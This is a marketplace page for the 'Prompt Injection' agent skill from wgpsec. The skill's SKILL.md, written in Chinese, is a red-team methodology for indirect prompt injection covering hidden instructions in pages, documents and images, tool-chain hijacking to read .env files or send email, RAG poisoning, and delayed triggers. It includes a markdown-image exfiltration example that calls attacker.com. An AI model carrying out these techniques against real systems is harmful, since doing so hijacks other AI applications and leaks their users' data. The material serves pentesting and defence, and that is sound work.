Prompt Injection

OrganizationPopular

wgpsec

prompt-injection

AI/LLM 间接 Prompt 注入攻击。当目标 AI 系统会处理外部数据源（网页、文档、邮件、数据库、API 返回）时使用。覆盖间接注入、工具链劫持、RAG 投毒、数据外泄等技术。OWASP LLM Top 10 #1 漏洞类别

Overview

Publisher	wgpsec
Repository	`AboutSecurity`
Skill name	`prompt-injection`
Stars	1.7K
Forks	242
Bundled files	1
Links	Skill source Repository

Markdown instructions
A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.
Works with any LLM
AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.
1 bundled files
Scripts, templates, and references the model can read while it works. Files are read-only and never executed.
Open source
Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Prompt Injection AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

Open the app and go to Plugins → Skills.
Choose "Install from GitHub".
Paste the skill folder URL below and confirm.
Enable the skill in any chat where you want it available.

Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills

git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/ai-security/prompt-injection .claude/skills/prompt-injection

Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Prompt Injection in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Prompt Injection on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Prompt Injection is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

Loaded only when it is needed
The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.
Switch models mid-chat
Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

AI Prompt 间接注入方法论

概述

Prompt Injection（提示注入）是指攻击者通过 AI 系统处理的外部数据源，注入恶意指令来操控模型行为。与 jailbreak（用户直接输入）不同，injection 利用不受信任的第三方数据作为攻击载体，模型无法区分"数据"和"指令"。

这是 LLM 应用最危险的漏洞类别 — OWASP LLM Top 10 的 #1 位。

深入参考

各 Phase 详细 Payload 与代码（网页/文档/CSV/图片/工具链/RAG/数据外泄/高级技术） → references/injection-payloads.md

攻击面分类

注入渠道	载体	危害等级
网页内容	AI 浏览/搜索时读取恶意页面	Critical
文档上传	PDF/Word/CSV 中嵌入隐藏指令	Critical
邮件内容	AI 邮件助手处理恶意邮件	Critical
数据库/RAG	知识库中投毒的文档	Critical
API 返回	AI Agent 调用的 API 返回恶意内容	High
用户评论/表单	AI 分析用户生成内容时触发	High
图片 OCR	图片中包含隐藏文本指令	High
代码注释	AI 代码助手读取恶意注释	High

方法论概览

Phase 1: 间接注入 — 网页/文档载体

网页隐藏指令: CSS 隐藏元素/HTML 注释中嵌入 AI 可读指令
文档注入: PDF/Word 白色字体隐藏指令、PDF 元数据注入
CSV/数据注入: 在数据字段中嵌入恶意指令
图片注入（多模态）: 极浅颜色文字（人看不见，AI 可读）

Phase 2: 工具链劫持 (Tool Use Abuse)

工具调用注入: 通过外部数据让 Agent 调用 read_file/http_request 等危险工具
跨工具链攻击: 搜索工具返回恶意内容 → 触发邮件工具发送数据
文件系统 Agent 攻击: 代码仓库 README 中注入 → AI 代码助手读取 .env

Phase 3: RAG 投毒

知识库投毒: 在正常文档中夹带恶意指令（白色字体/特殊标记）
对抗性检索: 构造高频关键词文本确保被检索命中
元数据层注入: 在文档 metadata 中注入覆盖指令

Phase 4: 数据外泄

Markdown 图片外泄: 让 AI 输出包含 ![](https://attacker.com/log?data=...) 的 markdown
链接外泄: 伪装为"更多信息"链接，URL 参数携带敏感数据
隐蔽编码外泄: 用首字母拼写等方式隐蔽泄露

Phase 5: 高级注入技术

Payload Splitting: 恶意指令分散到多个数据源，单独无害组合有害
延迟触发: 嵌入条件触发器，特定查询时激活
递归注入: 让 AI 输出中嵌入新的注入 payload，链式传播

所有技术的详细 payload 和代码见 references/injection-payloads.md

实战检测清单


1. [ ] 目标 AI 应用是否处理外部数据？（网页、文档、邮件、API）
2. [ ] 是否有工具调用/插件能力？（文件操作、网络请求、代码执行）
3. [ ] 是否使用 RAG/知识库？（可投毒的向量数据库）
4. [ ] 输出是否渲染 Markdown？（图片/链接外泄风险）
5. [ ] 是否有多步骤工作流？（跨步骤注入机会）
6. [ ] 数据输入是否经过消毒？（HTML 标签、元数据是否保留）
7. [ ] 是否区分数据和指令？（系统/用户/上下文分离）

参考资源

OWASP LLM Top 10 — LLM01: Prompt Injection
Not what you've signed up for: Compromising Real-World LLM-Integrated Applications
Indirect Prompt Injection via YouTube Transcripts
Prompt Injection in LangChain Agents
Markdown Image Exfiltration in ChatGPT Plugins
Google Bard Indirect Injection via Google Docs

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

references/injection-payloads.md6 KB

Frequently asked questions

What does the Prompt Injection AI skill do?

Why use Prompt Injection on TypingMind?

Because you install it once and use it with any model. Prompt Injection is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Prompt Injection in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/ai-security/prompt-injection. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Prompt Injection?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Prompt Injection?

As many as you like. As long as a model supports skills, you can use Prompt Injection with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Prompt Injection AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Managed Pentesting With Strix

usestrix

OrganizationPopular

Run a managed pentest of a web app, API, repository, or local workspace on the app.strix.ai platform with the `strix cloud` CLI or REST API — no local Docker or LLM key needed. Safely review and…

Office Transform

Derive new Office files from structural selections without touching the original. Use when the user points at part of a spreadsheet, Word document, PDF, or PowerPoint deck (a worksheet range,…

Multica Onboarding

Use when a product-authored kickoff starts or resumes Mika's interactive onboarding for a Multica workspace. The opening greeting has already been sent; carry the member from their first message to…

Cli Anything Qgis

Stateful QGIS CLI for projects, writable layers, features, layouts, exports, and qgis_process operations using the real QGIS runtime.

Overview

Installation

Install in TypingMind

Install in another agent

Use it in TypingMind

Works with any AI model

Skill instructions

AI Prompt 间接注入方法论

概述

深入参考

攻击面分类

方法论概览

Phase 1: 间接注入 — 网页/文档载体

Phase 2: 工具链劫持 (Tool Use Abuse)

Phase 3: RAG 投毒

Phase 4: 数据外泄

Phase 5: 高级注入技术

实战检测清单

参考资源

Bundled files

Frequently asked questions

Related AI Skills

Set up your own AI workspace now